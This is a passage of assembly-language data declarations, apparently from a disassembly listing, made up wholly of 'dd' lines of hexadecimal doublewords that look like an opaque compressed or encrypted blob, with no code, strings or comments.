		dd 3507EC7Bh, 6A6A0214h, 6FBA80A8h, 88B8C308h, 0B910700h
		dd 0D58BF348h, 0E1820101h, 597B236Eh, 0C0EDCF64h, 72F3EDB1h
		dd 5D74CE04h, 1680CCD1h, 7A6D9Bh, 0C066AAE3h, 0EDCD8E6Ah
		dd 0C3A01607h, 0F6013F7Bh, 488376CEh, 68D9FF81h, 9496DDA8h
		dd 79B99E0Fh, 0A47C60BCh, 3B0D7E65h, 5E8325B2h,	8BB7F3ECh
		dd 0A9FE20C7h, 4C7BCC15h, 0B60E660h, 0ADD446h, 0BD8CF72Eh
		dd 51EEB2Fh, 39003A7Eh,	0A9B51D8h, 3251C06h, 0E8E5ABCEh
		dd 80A73368h, 78D2328Ch, 0FC8DE000h, 74A4D56Ah,	0F0907D64h
		dd 0B033CBEh, 24D15500h, 9778E2AEh, 0C4A14A00h,	0CDE757A0h
		dd 57B1C5Dh, 0F4F14F48h, 30D4E840h, 0F4C024B2h,	8363AD7h
		dd 1CA9078Dh, 0C0798B1Eh, 0C0426582h, 0EA872D1Fh, 5B096419h
		dd 588221A8h, 2E000346h, 1BB04DB7h, 37003D84h, 3C20A5C0h
		dd 416F65h, 0D0F49262h,	6D6E5A82h, 18DB13Ch, 5BC1CDA2h
		dd 50839A05h, 6F04E7E3h, 45679DD8h, 66DBAD1Dh, 209B220Ch
		dd 0AB4800B6h, 7FAE36Bh, 157CFB5Eh, 94BDF407h, 0F290C790h
		dd 667299B1h, 39F060CDh, 0AFBC2304h, 7E80644Ch,	27E8ADh
		dd 0E55562BFh, 9CD306A1h, 18B32130h, 79B395Fh, 89F351EEh
		dd 9919C086h, 70074C2Ch, 0C45F2810h, 3B26ECF0h,	9E083F18h
		dd 9B0051BCh, 5FEF87E6h, 0F01F755Ah, 53C2E2B2h,	0E078B1A6h
		dd 0F1AF26h, 42EC44C2h,	774C294Bh, 47618364h, 0CD74BD60h
		dd 0D0407C08h, 0F0CF479Bh, 0C1EB5F43h, 80097439h, 5A878012h
		dd 0EED34918h, 3029E899h, 0E0B88DCCh, 0D401E49Ch, 91F282F1h
		dd 0CC60E2E1h, 9022005Eh, 4899EEABh, 10760ECh, 0D467FEEBh
		dd 0D930C397h, 7829D1E2h, 3F830F45h, 0D3EFE484h, 0A573E940h
		dd 0A105B86Ch, 0C1A6DB69h, 0F2FB7280h, 8435002Eh, 0E6F1A028h
		dd 3A00B04Bh, 422971C2h, 696ADFh, 8AC7D465h, 0AFA49C1h
		dd 4855A201h, 17CD0B44h, 4B57D4h, 0A7C9A68Dh, 421FEA45h
		dd 0E7E48h, 33E0E9C5h, 589343F1h, 0D600C111h, 0A89E2ADFh
		dd 88386657h, 0E6EB00B5h, 0A582EAC0h, 2B8939D1h, 81BD0079h
		dd 2F546FCCh, 7B06EB31h, 0AECD9424h, 0C1959804h, 54356A28h
		dd 4AA1E0CBh, 5D8D3B01h, 8F440804h, 0D5B870h, 299DAEB2h
		dd 0C1389009h, 3141E000h, 0FB6CC367h, 0D5F00761h, 80083EEFh
		dd 62ED2EF1h, 0CC722B1Dh, 0DDAA91C0h, 0BD6B53h,	4B5D4CFh
		dd 0C2D95E86h, 2DE3121Dh, 0D3D21C03h, 9F49C8CCh, 0AEC10F8Bh
		dd 7BA03F5Eh, 449C600Bh, 0E284000h, 0F899D3Bh, 0FF57790h
		dd 0D2A59F4Fh, 4E736D40h, 79EA39EBh, 0FA03557Eh, 8C7C6824h
		dd 41A0E7CAh, 265B58h, 9FAAB96Bh, 0EC29B656h, 12FF3317h
		dd 0DC805900h, 11B53D2h, 0D05C463h, 0D15ED149h,	0BB5AC438h
		dd 610017F8h, 398523E4h, 4D9F29h, 8750F13Fh, 10860D72h
		dd 0BB96600h, 0DE39A3DBh, 0ACBD00E7h, 0EA8D4E3Ah, 17092B9Ch
		dd 80D727A9h, 7C0572F6h, 12D98D3h, 82C8B128h, 0D88E143Fh
		dd 663A0803h, 5B2D0749h, 6E70439Eh, 75183795h, 2C6A0192h
		dd 0AEC62004h, 0DC68611Ch, 0A70FFC93h, 6F347E0Ch, 6D1E20CFh
		dd 77D6C140h, 99D00A0h,	79D0A6A5h, 35B077C6h, 70E78C00h
		dd 0C01CB6C1h, 134C005Bh, 9C930A33h, 3F00E652h,	0F9EE988Ch
		dd 1E012805h, 0E97F4A4h, 3D40E0DDh, 931A5420h, 0D10CB803h
		dd 0EC4E8351h, 0E0C7F383h, 28DE89h, 63F1AA66h, 7B067E3Fh
		dd 0E52ADD01h, 6C541A98h, 0F0CB0FCh, 0F0D417ACh, 0EA4A47A0h
		dd 0B3B8A04h, 34FE8088h, 0CAE42559h, 2F7A1E53h,	0E337804Ah
		dd 9EE21E19h, 548A2C01h, 0DA0389E9h, 0B040C6F8h, 7E83E65Ah
		dd 0F1670341h, 15BE0826h, 0AE230DC8h, 7D3A1472h, 9C710037h
		dd 6C7CF9B4h, 427F008Dh, 0D1A2CE80h, 1000F8FCh,	8245D90Bh
		dd 38FECC6h, 0AD0F3FEDh, 37A0AE97h, 0EA0350F3h,	92251040h
		dd 0FA4FDB69h, 0FA6240B9h, 0C791002Ah, 95EC2708h, 4A98175Ah
		dd 5F421A00h, 752AF116h, 68DD0781h, 473844B3h, 7457D041h
		dd 273A6F6h, 231642FCh,	1A00B6BAh, 0A2AACC13h, 4B7900DEh
		dd 1731C226h, 0B000825h, 8CE17A03h, 0FCBBF6A3h,	3B1B13CEh
		dd 0C30C0282h, 88A75DB1h
		dd 26A09065h, 0B007B603h, 70EDFE76h, 0CEA675E0h, 0A102006Ch
		dd 35BFC77Eh, 0C9005397h, 238D1013h, 407536h, 5595E1Dh
		dd 0A83F79BEh, 0CC5F8A05h, 0E50EA218h, 0F545E05Dh, 0AD87C8h
		dd 4E563D9Bh, 0CB428578h, 800D6138h, 0ED0107CDh, 3BE38796h
		dd 2C879AB2h, 0A097C159h, 72FF229Dh, 0DBC6AC00h, 5C6890D5h
		dd 0D9F2CCh, 9C130B6Fh,	0D374048Bh, 0CE97B000h,	6D3F5964h
		dd 9D4D0ED4h, 0AAD2317Ah, 569C221Fh, 0DE856200h, 90B8D4D7h
		dd 73A70055h, 0CFA4C879h, 0B900345Bh, 6F9C03EDh, 0F57580h
		dd 0B1271B26h, 0A30E0183h, 1F935E00h, 0E768107Ah, 6779EDh
		dd 0FCE4C32Ch, 0E9583CA0h, 3FC1D100h, 492204C9h, 0FEC500EBh
		dd 0A852A327h, 6B0424B7h, 2210A99h, 49DEC0BAh, 0A7048F82h
		dd 0C02A923Dh, 5F1D9CC5h, 0E15BA80h, 0F0C9E985h, 0FE13FC4Ch
		dd 41DB00F8h, 298104F6h, 5D009119h, 9A5F1FDDh, 777FC65Ch
		dd 0B6883A0Dh, 6337B700h, 0AA749650h, 0F0928B00h, 340BA48Ah
		dd 6B9913A3h, 6F2A00AFh, 3608BD95h, 9F035F00h, 3A40464Fh
		dd 0D38D0016h, 2688F49Dh, 36058637h, 0BAEC203h,	3E6609C0h
		dd 4D02027Fh, 34BCCCA3h, 0ECA785FFh, 0F35B9C0h,	26920F0Eh
		dd 0D9E074A1h, 54AFEF3Eh, 73581301h, 0E1DBB67Ch, 0A6F3E4h
		dd 9DDC770Fh, 0DA07E3A3h, 0AEC09700h, 8E7A633Dh, 0FA3F0E12h
		dd 0EF602E7Ch, 749F47FFh, 0EE0F8C7Fh, 0A181CB75h, 6AE21724h
		dd 712A0060h, 28090043h, 0C9FBF41Ch, 34E8A16Ch,	83208E0Fh
		dd 8631A162h, 0ACC84DF5h, 614F00A2h, 6D41B82Ch,	0C700E268h
		dd 98E4CB48h, 81CF8h, 10DBAFF9h, 0BD7FBBB3h, 0FF371D09h
		dd 60B1000Bh, 40E61Fh, 19DDF7FAh, 0E8C93865h, 9600C6F6h
		dd 0EB32C56Bh, 0F63E04Bh, 4264898Dh, 41A47660h,	7A013439h
		dd 1A4C80D5h, 63E44727h, 6A651CDCh, 516B800Ch, 0F0CFC7F9h
		dd 44EBAB00h, 92742AA8h, 853100E5h, 0C8DF0EE6h,	2E035538h
		dd 9A47E479h, 6504F016h, 974B1D46h, 0C8A3C0A9h,	3F177E92h
		dd 9E9B7D00h, 968DFD42h, 61082694h, 3E5424F9h, 57E90076h
		dd 0EB4676D9h, 0B0015B9h, 0CA871035h, 2C72C0h, 0DAED0779h
		dd 9AA0C1A8h, 40EAFC2Ch, 0C3F901Eh, 10078226h, 93190076h
		dd 537505BCh, 8D03F4F9h, 0D1A15A65h, 1270CFE6h,	0C6740CCh
		dd 0E44BBCABh, 0D824E780h, 0EA0098B0h, 59DA1619h, 0F9E500FCh
		dd 0E3D7D985h, 4D005FEDh, 7C38053h, 0C2E2E7ECh,	0DF79AC20h
		dd 0F32A7460h, 0F81FE9F4h, 0B90341ADh, 2DD7886h, 13512F60h
		dd 14404B8Fh, 0CE0D8711h, 38A29A0Dh, 0B8A4E0h, 0B1FD595Bh
		dd 71C413E9h, 59E25C30h, 551E3BFh, 0E41A915Eh, 25C0C12Fh
		dd 0AE0B608Dh, 980090E8h, 0A45939ABh, 956768h, 33F63C78h
		dd 17DB4EF4h, 42F93803h, 0B0B93AF1h, 12B4943Dh,	0C3207h
		dd 0E3440ECh, 0D03D12BDh, 2CA000C6h, 0F19F1671h, 114F01F5h
		dd 0BE3E49E7h, 7B606017h, 21CC4100h, 0A988B07h,	0B2BD07D3h
		dd 6047ABD1h, 88C655DBh, 0E3A82B60h, 0C05D5h, 0D71D3704h
		dd 84294448h, 0C8037DF0h, 0F71E4B7Eh, 99E8399Ch, 0DB77F6h
		dd 910EEBF5h, 52876C5Ch, 0B16E2803h, 5AB67Dh, 0D881C958h
		dd 2C2A20F1h, 5FCA68CEh, 97BC63C0h, 59F84Ch, 781C7527h
		dd 7FAAB61h, 20D98401h,	3F25C4DEh, 0C360B7E9h, 0EA1607EBh
		dd 806FCC14h, 6760CD15h, 0AD63990Ah, 8994C0A7h,	10EB87E4h
		dd 969BE460h, 8C672C4Dh, 25FA005Ah, 0BF66890Bh,	0A9DA4F00h
		dd 7CFFC39Fh, 7861E08h,	0F06DD2Ah, 6DA01C5Bh, 59D8F74h
		dd 6C12590Bh, 51942033h, 0A024F6F3h, 9AA5B9F0h,	15B5F8E0h
		dd 0A8605083h, 0F0320077h, 311E3597h, 0A5A0DCB3h, 6008F23h
		dd 6CAEDE69h, 91EE12h, 0A87F945Fh, 1C79CB24h, 87065C03h
		dd 0A86F27B3h, 6618C7h,	4CACF621h, 0B6E77470h, 7BD4FF03h
		dd 81794098h, 80DBA3A0h, 7E803Ah, 0E987E777h, 0CF46930h
		dd 7C812B03h, 0E0548996h, 0EA08B2h, 64E51A7h, 86A44CC6h
		dd 0BD37B90Fh, 3AF287E7h, 5C102417h, 0F4DE9947h, 8F8D004Eh
		dd 84AA640Dh, 0A0E4EA09h, 86F93400h, 52E008B3h,	642600FAh
		dd 2AD0663Fh, 171DA870h, 4907B807h, 29608F59h, 18A14288h
		dd 3892C63Ch, 0F6601EC2h, 0D43B31D2h, 0C49B00AEh, 0FAA6BE3Ah
		dd 0A13D8B52h, 70DA00E1h, 0C82E35D8h, 37FF009Ch, 0B7A2533Ch
		dd 2600EB7Fh, 0FB821FD6h, 0B1012Eh, 0A681E808h,	8A68700Ah
		dd 0BB82F00h, 89F0906Eh, 2253009Dh, 0E77323FDh,	1B60C857h
		dd 29F326F8h, 61493D36h, 0D593E380h, 0EEAE474Ah, 1C8EF50Fh
		dd 79214009h, 3CC84575h, 5A805C19h, 0D98AB0E2h,	39C1EF4Eh
		dd 86DC3F07h, 1EDAA5E4h, 36FC12Fh, 0E35A22C5h, 4B601DA2h
		dd 1C005F49h, 0A575A17Dh, 78A4C35Eh, 8DF21E83h,	0A2DD0E3Ah
		dd 25A500B7h, 76546B11h, 9B01741Fh, 5C236500h, 0B24151h
		dd 6F928E64h, 815A38FCh, 26BA3A00h, 2AAB0E10h, 3C9300D5h
		dd 0E9157F49h, 880F9771h, 80EDA29Fh, 5E36A909h,	2FA83F5Ch
		dd 94C60B03h, 0A80124C2h, 7FC3A393h, 0B3E03C92h, 0E0606061h
		dd 17D7CEC8h, 0F370F166h, 751B3AD1h, 40452B9Eh,	238747BDh
		dd 677A1A0Bh, 510EA97Bh, 420A48A6h, 407C44DBh, 0C1743A2h
		dd 0AF56C8C4h, 1A1FAE10h, 0A800EC2Bh, 0E7CD5A29h, 0FC98003Fh
		dd 2E522D9Fh, 3D0009F5h, 0CAD490E1h, 0E3FB36h, 3ECF7170h
		dd 44081575h, 6F00A0FAh, 428728D9h, 7116D21h, 5EDF4FD0h
		dd 0B501104Dh, 53001E93h, 8009724Bh, 1D7FAA48h,	0C06BB99Ah
		dd 0AD732E8Ah, 331F062Ah, 310CD66Ch, 3877B046h,	74CE45h
		dd 4FBA1528h, 2B0BA38Ch, 80D9D800h, 0C92C5402h,	645E015Bh
		dd 0A184449Bh, 8530875Ch, 3570C4D1h, 1496D2h, 1E16C799h
		dd 287A0A63h, 720DDD00h, 0A2756413h, 0AF9F07ABh, 0A07D5AFDh
		dd 0B8A31B2Fh, 0F0704003h, 0E849455Eh, 0E9440942h, 186FFD4h
		dd 7BE9E1B2h, 0D0C9F43Dh, 0BD001729h, 65E7F90Fh, 7405D4h
		dd 5A45437Ah, 44271640h, 0D6BD0901h, 1415994Dh,	475220h
		dd 0E98119BAh, 28F67F32h, 408B1300h, 6417D91Fh,	5AFB00B2h
		dd 7CF8F4B6h, 4476A6B5h, 3346C600h, 0D0627294h,	0B8BF3E38h
		dd 59508F00h, 0A21674Ch, 3539B398h, 0A8E60079h,	86DE0E26h
		dd 0B0F83F50h, 92D05380h, 0FD11E731h, 0E4549900h, 6079283Ah
		dd 9AB20043h, 0C9EB40E0h, 0A019BEAh, 2EF6473Fh,	204BF9BFh
		dd 29C11F08h, 0C04F6863h, 70736Ch, 0DABB023Ah, 65B1D099h
		dd 76CF1707h, 0E2D0BC12h, 326DD1h, 9C999BE9h, 13BFCB7Dh
		dd 52166000h, 0B221DE73h, 24FA03B5h, 566E11CCh,	0E0F8FB89h
		dd 3100358Dh, 0E9381643h, 0FBB1AF5Bh, 0F908A6h,	0AE6971C3h
		dd 140E6FDEh, 612E2D32h, 89C99BFEh, 28BF5EC1h, 6D654880h
		dd 38BC4EBDh, 8060FF6Fh, 0C0F0DBB2h, 705B00FAh,	0C3268F66h
		dd 4F01DC23h, 0DEA57217h, 0ACF0B455h, 95B20CCCh, 3DB9B94Dh
		dd 0E02B3500h, 6D5B826h, 0FC0F154Eh, 518080A1h,	2C41AA1Dh
		dd 7C80A046h, 0AF5A7AF7h, 0DE65F0C0h, 0A01ED845h, 6367F0h
		dd 91410734h, 0F8323599h, 7200AAE0h, 8804D3F3h,	31326F2h
		dd 8B1D416Ch, 0A6D8ED43h, 0A839DB69h, 48BF8066h, 0B3D06B34h
		dd 1DEF638h, 0A149F0B9h, 0CCB759A8h, 3429CAADh,	0C46E205Dh
		dd 0C630EBBEh, 0D100458Dh, 72A5199Ah, 6EC9E14h,	84D3587Fh
		dd 6C03C828h, 78F6F817h, 0C7721F67h, 50A3D856h,	9E2639E2h
		dd 37008C72h, 0F95A5BF1h
		dd 0BC255013h, 0D846505Dh, 84320A43h, 3F4F047h,	0CC6E609Ah
		dd 0A88D3100h, 0B095AD44h, 15A91432h, 0A85BE0F9h, 241090Dh
		dd 0B110004Ah, 129F0182h, 0CDAA10Ah, 0F6107DC5h, 0FFEAF100h
		dd 68E111D6h, 0E948C0B1h, 0DC8E1F1Eh, 3FDBA002h, 30A5D45Ah
		dd 0B329FC16h, 9801CA7h, 9A410599h, 0C43CA60Ah,	20E03268h
		dd 20310758h, 7C153829h, 8530D11Eh, 1830A6CBh, 7E1C5749h
		dd 0AA6F2B8Eh, 23921C30h, 0D04F6982h, 1118BB8Fh, 0C7B77360h
		dd 0FBE37C89h, 3090467Bh, 0C7A30211h, 0FBA320A9h, 30F0461Bh
		dd 0D9502B08h, 0BE2DC9C0h, 5BC138Fh, 92A60617h,	0E30A40AEh
		dd 0B45BE6EEh, 6006C67h, 0E29BDCFh, 61DDEF47h, 31D360E0h
		dd 0CB07E150h, 0CC4BC27Dh, 94536240h, 0C358B80Ah, 5BEE2F39h
		dd 1C7070CCh, 42950A92h, 4C18F476h, 0B1422168h,	31FE4D00h
		dd 0C6B6D990h, 0D100DAF2h, 0C5BF827Dh, 6630420Ah, 505040F9h
		dd 0A7539BF8h, 6C838844h, 0AC01B059h, 0A5E27043h, 0B3D29587h
		dd 1990111Ch, 37D0C0B2h, 5620AE5h, 0A8303A92h, 3638285Ah
		dd 0CEF0008Eh, 5EC1C249h, 2126371Ch, 833CFD8Ah,	827885A2h
		dd 0C30A835Bh, 226018F9h, 0B466117Ch, 0E621C60Ah, 61C250FEh
		dd 4C103855h, 0A1C1DB0Ch, 0A7E248E7h, 1F930888h, 461030E0h
		dd 882130C2h, 89C54298h, 0B102780Ah, 0F30AB8EAh, 1D05DC91h
		dd 983C7DC0h, 7C47C9h, 0CC650350h, 0CD28EE1h, 0E636227Dh
		dd 1260D698h, 7334C6E8h, 88110162h, 302BA295h, 202CE196h
		dd 70410230h, 0A5F9ECF0h, 0F97060B4h, 0E2717818h, 0A2548674h
		dd 0B43322D8h, 78F040C5h, 0A8A5C0h, 5B690D53h, 10C071E5h
		dd 0C51EFC68h, 0C8D46152h, 5C73470Eh, 5F066044h, 2114D63h
		dd 96D40980h, 7014413Bh, 0CF8DB304h, 8480BB6Bh,	221EE90h
		dd 9E62A1C8h, 0A89401C9h, 0CA64550Fh, 58A43F8Fh, 0C8222C01h
		dd 0E5C73741h, 6E3B1870h, 0D0584449h, 0C618600Ah, 0C3CE14E1h
		dd 0D0D12365h, 10F0325Dh, 0B0CA40B3h, 0FD495EFCh, 203258D4h
		dd 61428F10h, 5BDA1F80h, 50C02C23h, 0CA3C0C30h,	0A5247AC1h
		dd 4B6D0254h, 84A7D5C4h, 0F008C950h, 52F7E014h,	0FD54BC37h
		dd 0D0C12AACh, 3BE69CC1h, 0A76185Ch, 0AFE7B1C7h, 59900080h
		dd 4AE13BDAh, 0A1003EEEh, 0E2962BADh, 56958184h, 32012002h
		dd 0E0C929D0h, 7BB843F8h, 0F9216801h, 68A1371Fh, 34224085h
		dd 0E983824h, 0DC187D0Ch, 0D040E6h, 6133E42Eh, 41C25FC8h
		dd 3BEAC60Ah, 55C91C81h, 0EF19BA03h, 73F03800h,	0D181C1E1h
		dd 0C37C91C7h, 2BF3B9A9h, 0DF103112h, 102CDC12h, 44FC1869h
		dd 2430296Bh, 1109A52h,	0BFA534F4h, 0C441FBF9h,	0E08230DBh
		dd 62957B70h, 0A847014h, 0D76B35E7h, 7E9F0AC8h,	543E70A4h
		dd 9067841Bh, 479E9B28h, 0FA0150D0h, 295CCAACh,	30B840FCh
		dd 0ECA533FDh, 1CE96F83h, 0D0511875h, 0C3A1F04Bh, 0C03E2126h
		dd 1BE46B59h, 0F031C24Fh, 6063FDBEh, 82A1ED8Bh,	6A3C3192h
		dd 301828C6h, 0DD100197h, 0B1ECCC91h, 66604561h, 0ACF10926h
		dd 231BE051h, 788E02E0h, 1D010144h, 7C820F77h, 45A2F062h
		dd 1E74804Ch, 303E5CD2h, 0B222082Fh, 813F0E5Ah,	1825510h
		dd 0E863BB0Ch, 0A2B0C1A4h, 61F03073h, 0C25830F7h, 1C88D148h
		dd 779E03E1h, 7024EE00h, 0E8519F62h, 0EEB2642h,	58AB0068h
		dd 5610E273h, 0D5627107h, 378077A6h, 590270A3h,	441E200Eh
		dd 3E103AC1h, 0FFBB18E1h, 0C0FAD8F8h, 77DC8208h, 0F635F22h
		dd 0C10BBE30h, 8BE8962h, 58F66670h, 87E88048h, 2734A07h
		dd 86CED7CCh, 32A03680h, 0B3309A55h, 0AF618483h, 6921091Eh
		dd 8CBCC107h, 5490E0CEh, 0C5584271h, 5AFF6230h,	0AC0044C4h
		dd 0E208EC5Eh, 0F0372F31h, 0E5F10BA9h, 1CB32C0h, 0F1EA685h
		dd 0D3F775A5h, 0C81FCE3h, 0F09BEC5h, 87CB191Bh,	5C0E754h
		dd 185746CFh, 58DBC342h, 0C2E8D47Ah, 1C1D2624h,	0B60903CAh
		dd 101C215Bh, 18200C48h, 3E2D0097h, 71701EC1h, 0F714C802h
		dd 1544277h, 0A20F9074h, 0F820E315h, 77F50355h,	5771D782h
		dd 0E0702DE7h, 60F16BF2h, 0C0BF6C68h, 0F05EA4A3h, 2C08D6A0h
		dd 0BC184D88h, 30911E91h, 0D0B05051h, 8C663CCh,	81B09256h
		dd 0C14CE8BCh, 0C3D2B0CCh, 0D8C2490Fh, 4AE5012h, 84668218h
		dd 0B50CB74h, 9235F13h,	7018009Ch, 0C1D8F5h, 0CD6794E1h
		dd 93CE921h, 43394213h,	7CEB3804h, 6D7F9881h, 0FB279020h
		dd 0B88FFC30h, 40025D68h, 754EA20Bh, 817CB085h,	204162E8h
		dd 1224E178h, 46092858h, 8ED08328h, 9FF6E7CFh, 63CCF008h
		dd 0A94310D0h, 466386Bh, 0E8C39E3Ch, 413482E1h,	8C248710h
		dd 24DF487Eh, 9BD1F1Fh,	6C009322h, 736F5EE2h, 0E12CC218h
		dd 247A6E10h, 424C420Fh, 841E760h, 0E0EC21D5h, 65EEF66Ah
		dd 0E5303892h, 5451041h, 0A27718BEh, 57E208E7h,	0B8DE19C3h
		dd 9381E170h, 0AF3DFC40h, 6C25010Ch, 0BCC5C211h, 2E5C2031h
		dd 0A2307862h, 56744049h, 0A1CC3C88h, 2133FF05h, 64A843B3h
		dd 44A1CD1Ah, 0DD208C65h, 0C3D3A87Dh, 5EBE4138h, 141E7001h
		dd 86F88297h, 63943C20h, 0AC7A5846h, 7D7FA1C0h,	0B63CAA90h
		dd 294112A0h, 782A803h,	66A824D7h, 94E28954h, 80C2C404h
		dd 5B1D22F4h, 3804A8A0h, 0BC02970Eh, 0F8189737h, 1E13A5D8h
		dd 0C042A9E8h, 77C5CB1Ah, 7F980FB9h, 850BBA74h,	16CE4AB3h
		dd 4B200290h, 0F7853CA0h, 75110CC0h, 50000F4Ch,	253302A8h
		dd 182788BBh, 0E848C280h, 10D47942h, 8B37B0D8h,	516E62A4h
		dd 0F04002B0h, 0C8905622h, 0DA1BE212h, 18B8C38h, 5DE4889Ch
		dd 0D54EF149h, 0D6FFEC1Fh, 40CFC903h, 0D00128F8h, 7255E10Eh
		dd 0FE843C20h, 7E06F61Ch, 0F4E96400h, 0FB3B02DFh, 3E753F3Ch
		dd 795F0109h, 77367F0Ah, 0A0A7088Fh, 46AEBF00h,	6F0020CAh
		dd 2C84C0BEh, 0C05EABD0h, 0F026E81h, 0DE039F06h, 4E205668h
		dd 8208006Ch, 0A9C0B013h, 601DB725h, 801C4C5Ch,	80CA374Fh
		dd 0E055CBCDh, 30E6528Bh, 0B1B01B04h, 4E8E41ECh, 10C4FFABh
		dd 1708CCBEh, 0CFE0C038h, 0DD00A0E8h, 4360B8D5h, 0FCFFFE83h
		dd 0A0B35FA9h, 0A01EB0DBh, 0C003AADBh, 0C1CA3BA7h, 60E0BDE8h
		dd 0E0C47C8Eh, 0B75D0308h, 0CA33C640h, 0CFDD5080h, 1E742078h
		dd 3CD2230Eh, 0FDAF87CCh, 3069E340h, 0DFA004C8h, 0C39F0D67h
		dd 0ECA00CA9h, 5F56FB50h, 9E340468h, 0AE406A35h, 5FFFC298h
		dd 0FC550E02h, 8082E9BFh, 0B1AB3998h, 83E6E80h,	0E3C8B20Dh
		dd 98831782h, 20C0BE7Dh, 0B0747984h, 0CE0F607h,	2B7821Fh
		dd 0A09C3E43h, 97A5AFFh, 0F5B49FFEh, 0C0480C08h, 5DC38668h
		dd 0F14EF605h, 0AC0224CEh, 904B341Fh, 0CD90EE14h, 0DCB85876h
		dd 0C01D1D3h, 0B8D76EFFh, 0A0EFEFE0h, 0A0337680h, 3FBA19F0h
		dd 9C2840B1h, 0BF4505B0h, 0E57F02h, 0B944A0ACh,	1E29DF0Dh
		dd 0AEC0943Ch, 66DC473h, 0EF154EEh, 801CF852h, 404EB002h
		dd 4395FD98h, 0B8488354h, 52B29Fh, 5667EE2Eh, 8876000h
		dd 24143F06h, 0E6E01DBDh, 63183E11h, 62A808F7h,	0F0C0B709h
		dd 6C540088h, 6340CA5Fh, 26A07850h, 0D31D070h, 0A9028075h
		dd 0C3DE088Fh, 89496003h, 284880E2h, 0F9C694C0h, 3E10C42Ah
		dd 0FF7099D2h, 4A40188Dh, 11CFF030h, 0B431B770h, 9CBC28A7h
		dd 0FBCC5301h, 202E4E81h, 41260694h, 0A4203BC8h, 60681F19h
		dd 0B88073F8h, 0B8337A0h, 317C4A63h, 0D70F16E0h, 54F9A3CCh
		dd 84DD0194h, 7DD3030Bh
		dd 50F3C3D0h, 48EBC8AEh, 7B121CD4h, 0F05C03DAh,	0A1E10D6Bh
		dd 10880A9h, 0EA209679h, 3F0C10CDh, 83BF12D8h, 47074C1Fh
		dd 0B5E3Dh, 71DFF3B0h, 6C7FE8FEh, 1CA808BFh, 9ED0E0C3h
		dd 17F781B0h, 6257E0E0h, 0AD22B833h, 5D018483h,	2BE9E800h
		dd 0FBCC605Eh, 15E09Eh,	40C0C842h, 94430B8Fh, 0C3CF7007h
		dd 0D04C07E1h, 3EE8C43Ch, 27D0806Dh, 5F3D0EB2h,	1F4B00BFh
		dd 6097C47Ah, 9EF7076Fh, 81BD18C0h, 0F0C30CA0h,	80A029E0h
		dd 0C94C3C9Fh, 0E0362490h, 25CF5F1Dh, 0E151075Eh, 0E3D5DF82h
		dd 0E4BC8108h, 0B41F2894h, 7FC38009h, 2338B002h, 21AB3040h
		dd 0E14CBFE8h, 324C72C4h, 54202448h, 242B1150h,	0B9BCF319h
		dd 55D4C12h, 206FFE38h,	608BCE14h, 4A37D713h, 1D27B000h
		dd 332620BDh, 0EA8060Bh, 126040C0h, 142680F8h, 0E01474AAh
		dd 0FD2012ACh, 5E164C45h, 0A2EDB809h, 4095D9CCh, 90230E00h
		dd 1C0A580h, 8ADED998h,	1D8E01E1h, 0FCA678BEh, 58D424E4h
		dd 7A2254CFh, 0F8AE183Ah, 34D998FBh, 188C0090h,	3106B63Eh
		dd 90CED90Bh, 39F9C41h,	6420C88Eh, 0C1FF03FEh, 84E4FC56h
		dd 0A72882EAh, 0F2A2D043h, 8C5DC089h, 9249E800h, 10D32694h
		dd 0D62701E0h, 20FF63CCh, 0EA48038Ch, 7CC30780h, 8682055Ch
		dd 0C06843D0h, 485F0D6Ch, 48746C30h, 3E7C8CDBh,	274692Ah
		dd 0E0967EB5h, 7861CF52h, 0E1AC341Bh, 1CF80898h, 301C324Ch
		dd 7AA008DEh, 3FF301EDh, 0DF0298B3h, 9840F61Dh,	7490A3FDh
		dd 20385562h, 0A3784367h, 608284CEh, 40A44098h,	77809032h
		dd 330B2A0h, 806923FEh,	60A024BBh, 83F8F2A9h, 124AF43Ah
		dd 78042B43h, 6C85C3DFh, 13BA202Ch, 5CC91A52h, 0DCA4C7A4h
		dd 0C453D3B8h, 0D2D3900Bh, 77EC160Ch, 55C409ACh, 0C087E7C2h
		dd 14CCEA69h, 4002E81Bh, 2302612Fh, 203838CAh, 7F0961DDh
		dd 84180C07h, 0FC84FEC4h, 0B49260C4h, 58D88890h, 8DA099E0h
		dd 78CB606Ch, 0BD70074Eh, 84B064E0h, 528E24A5h,	0E1058CB2h
		dd 300C606Eh, 0B1A5E140h, 724C58FBh, 16963B18h,	638F8E61h
		dd 0F4C30F9h, 3F8064E8h, 0A70124E8h, 44E43C84h,	0A0E046C1h
		dd 884C3B99h, 4ECF9Eh, 0B27DC662h, 3178FEC5h, 1426FB29h
		dd 6CC0CD1Dh, 7DDDB181h, 55744CD2h, 275F4400h, 0F197843Bh
		dd 5304657h, 47ED39FDh,	0F27DF800h, 143B22FAh, 144A3144h
		dd 5A10C381h, 7DE530DDh, 95D31214h, 36C9A058h, 6D0E2063h
		dd 70A13214h, 8B61A714h, 51A64A14h, 850E1EB7h, 28511A64h
		dd 38E2AE18h, 30C0CE98h, 460C5672h, 0E814AC04h,	2584223Ah
		dd 2109256h, 3E55A5A7h,	2A8AF64h, 0B084D9ABh, 30752914h
		dd 0D2A18B38h, 46073BDDh, 3D954544h, 7399D640h,	94A543h
		dd 7A6D4DC9h, 0A8A0C2F3h, 0D8C329F6h, 9B3D86E4h, 9D05EC9Fh
		dd 9BFC0E09h, 47AD2099h, 56040D8h, 3401838Dh, 5644D9A9h
		dd 2CC8DA84h, 38005A3h,	708E89EDh, 0D79BB03Ch, 2FFECF14h
		dd 0F2319D0h, 0D4405760h, 0E98A9E44h, 729EE3E2h, 8E730360h
		dd 7F2C39C3h, 0D9A5DBA0h, 707BE430h, 0AFA64h, 4A45438Dh
		dd 2BF1A38Ah, 0B8D83A8Ch, 909D1394h, 0EEA3209h,	8CB1C06h
		dd 582A885h, 4845F509h,	42D5264h, 0CE643D80h, 64C8EF2h
		dd 8FE2B214h, 0AC7228D1h, 877CA5A0h, 165E04A8h,	921828FFh
		dd 975039CBh, 0C010910Fh, 322773CEh, 6AB259C0h,	48043CEBh
		dd 0A4009096h, 7874253h, 27E85EE4h, 15584B3Ch, 0C1B83767h
		dd 97AFB1Eh, 20BCD211h,	0F148C4E0h, 0F2A43AA0h,	354A8A0h
		dd 0A183A4A0h, 0F8C03491h, 0C0AE36B2h, 0BD77F249h, 14AC6443h
		dd 5130B71Dh, 1280ACE4h, 0C43B3906h, 6214661h, 0AEA837A6h
		dd 0D8323429h, 0DDE02891h, 0E9DE6818h, 2BCC5229h, 8E503C66h
		dd 430AA703h, 5F7282DCh, 0AC963C63h, 609A560Ch,	159251CFh
